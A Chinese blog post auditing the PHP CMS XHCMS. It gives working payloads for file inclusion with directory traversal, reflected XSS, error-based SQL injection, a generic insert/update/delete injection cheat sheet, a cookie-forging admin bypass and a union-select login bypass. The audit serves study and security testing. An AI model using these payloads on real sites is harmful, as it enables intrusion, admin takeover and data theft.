XHCMS代码审计

XHCMS代码审计

CMS 结构树

在 powershell 里面执行 tree ​命令可以查看当前目录下的目录结构

Clip_2024-05-25_10-33-24

admin             --后台文件夹
css               --css文件夹
files             --存放网站的各种功能页面文件夹
images            --存放图片文件夹
inc               --配置文件夹
install           --网站安装文件夹
seacmseditor      --网站的编辑器文件夹
template          --模板文件夹
upload            --存放网站上传的文件
index.php         --网站入口

一、网站入口

1、index.php

Clip_2024-05-28_17-13-04

这里利用了 include ​函数,并且没有做任何限制,可以做到目录穿越读取任意 php 文件,我们把 r 的参数改成 ../install/index​,成功给安装页面包含出来

Clip_2024-05-28_18-09-57

补充: 这里源码用了一个 addslashes ​的函数,虽然用 addslashes ​处理了一下,但是 addslashes​ 只会转义 ' " \ null​ ,也就是说我们是可以目录穿越的,就可以上传木马然后进行目录穿越给木马包含出来,后面虽然会加上 .php ​但是可以进行截断,在 php 版本 <5.2 的情况下可以利用 %00 截断的方式进行包含 webshell

二、files 文件夹

1、contact.php

Clip_2024-05-28_17-29-25
Clip_2024-05-28_17-18-43

文件中存在 xss 漏洞,在传参 page=1 时页面会显示评论的第 1 页,并且输入的参数会直接被 html 执行,可以传入 page=<script>alert(1)</script>​,此时就成功弹窗,xss 执行成功

Clip_2024-05-28_17-17-09

2、content.php

Clip_2024-05-28_17-48-55

存在 sql 注入,这里 sql 语句没做任何过滤,可以直接进行报错注入就能注出数据库库名

Clip_2024-05-28_17-51-36

3、dowload.php

Clip_2024-05-28_17-54-03

同 contact 存在 xss 漏洞,依旧是讲 $page ​内容直接输出,page 参数由 get 传参得到

Clip_2024-05-28_17-56-19

4、list.php

存在 xss 漏洞,两处都是 page 参数直接 echo 到页面上可以直接触发,原因和上面一样

Clip_2024-05-28_17-57-41
Clip_2024-05-28_17-58-10

5、software.php

Clip_2024-05-29_16-38-45

get 传参,存在 sql 注入,在?r=software&cid=1 后面直接加上 or (updatexml(1,concat(0x7e,(select%20database()),0x7e),1))--+ 直接出库名

Clip_2024-05-28_18-01-01

6、submit.php

Clip_2024-05-28_20-33-13

这里验证码验证后一致也不会刷新,可以通过一个验证码来一直实现爆破需要验证码的页面

三、admin/template 目录

1、top.php

Clip_2024-05-28_18-49-26

这里从 cookie 获取 user 的参数,无过滤直接进行 sql 语句的查询,存在 sql 报错注入

Clip_2024-05-28_18-51-00

影响后台所有页面

四、admin/files

1、editcolumn.php

Clip_2024-05-28_19-04-56

没有过滤,可以直接注入

Clip_2024-05-28_19-04-27

2、softlist.php

Clip_2024-05-28_19-09-07

这里的 delete 语句,无过滤直接可以进行注入

Clip_2024-05-28_19-11-27

补充

insert注入:
$sql = "insert into user(username,password) values('$username','$password',)";

payload: 适用于字符型:
         ' or updatexml(1,concat(0x7e,(database())),0) or '
     适用于数字型:
     ' or extractvalue(1,concat(0x5e24,(database()))) or '

$sql = "insert into user(username,password) values('' or updatexml(1,concat(0x7e,(database())),0) or '','$_POST['password']')";

 

update注入:
$sql = "update user set username='$username',password='$password' where id=$id";

payload:适用于字符型:
        ' or updatexml(1,concat(0x7e,(database())),0) or '
     适用于数字型:
    ' or extractvalue(1,concat(0x5e24,(database()))) or '

$sql = "update user set username='' or updatexml(1,concat(0x7e,(database())),0) or '',password='$_POST['password']' where id=$_POST['id']";


delete注入:
$sql = "delete from user where id=$id";

pauload:
       or or updatexml(1,concat(0x7e,(database())),0) or ' '
       or extractvalue(1,concat(0x5e24,(database()))) or ' '

此文件还存在 xss,echo 出的内容中 $delete ​参数可被用户自定义

Clip_2024-05-28_19-43-29

先将前面的 <script>​ 标签闭合,后面构造新的 script 语句

Clip_2024-05-28_19-45-33

3、commentlist.php

Clip_2024-05-28_19-21-55

这里的注入点同理,不赘述了,相同的漏洞在 admin/files 中的以下文件都存在

columnlist.php
commentlist.php
editcolumn.php
editlink.php
editsoft.php
editwz.php
imageset.php
index.php
linklist.php
manageinfo.php
newcolumn.php
newlink.php
newsoft.php
newwz.php
reply.php
seniorset.php
siteset.php
softlist.php
wzlist.php

下面也存在反射性 xss

Clip_2024-05-28_19-50-19

page 依旧是 get 传参,就可以构造具体参数内容

Clip_2024-05-28_19-51-19

五、垂直越权

Clip_2024-05-28_18-34-49

这里可以看到只判断了 cookie 中的 user 是否为空,结果为 true 就直接跳转登录页面

Clip_2024-05-28_18-37-01

这边直接在 cookie 里面新建一个 user,值只要不为空就能直接进入后台

Clip_2024-05-28_18-37-46

六、万能密码进后台

漏洞位置:admin/files/login.php

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;   
    }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

万能密码登录有两个点:

1.user 未经过过滤直接拼接进入数据库查询

2.password 的 md5 对比可绕过

payload:
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
此处md5(1)=c4ca4238a0b923820dcc509a6f75849b

我们进入后台,在账号一栏中填入 payload,密码输入加密前的 1 即可成功登录。

Clip_2024-05-28_20-28-31

Clip_2024-05-28_20-28-38

七、admin 入口

入口出依旧有文件包含漏洞

Clip_2024-05-28_19-55-11

可以进行目录穿越

posted @ 2024-06-19 15:47  牢泠  阅读(76)  评论(0)    收藏  举报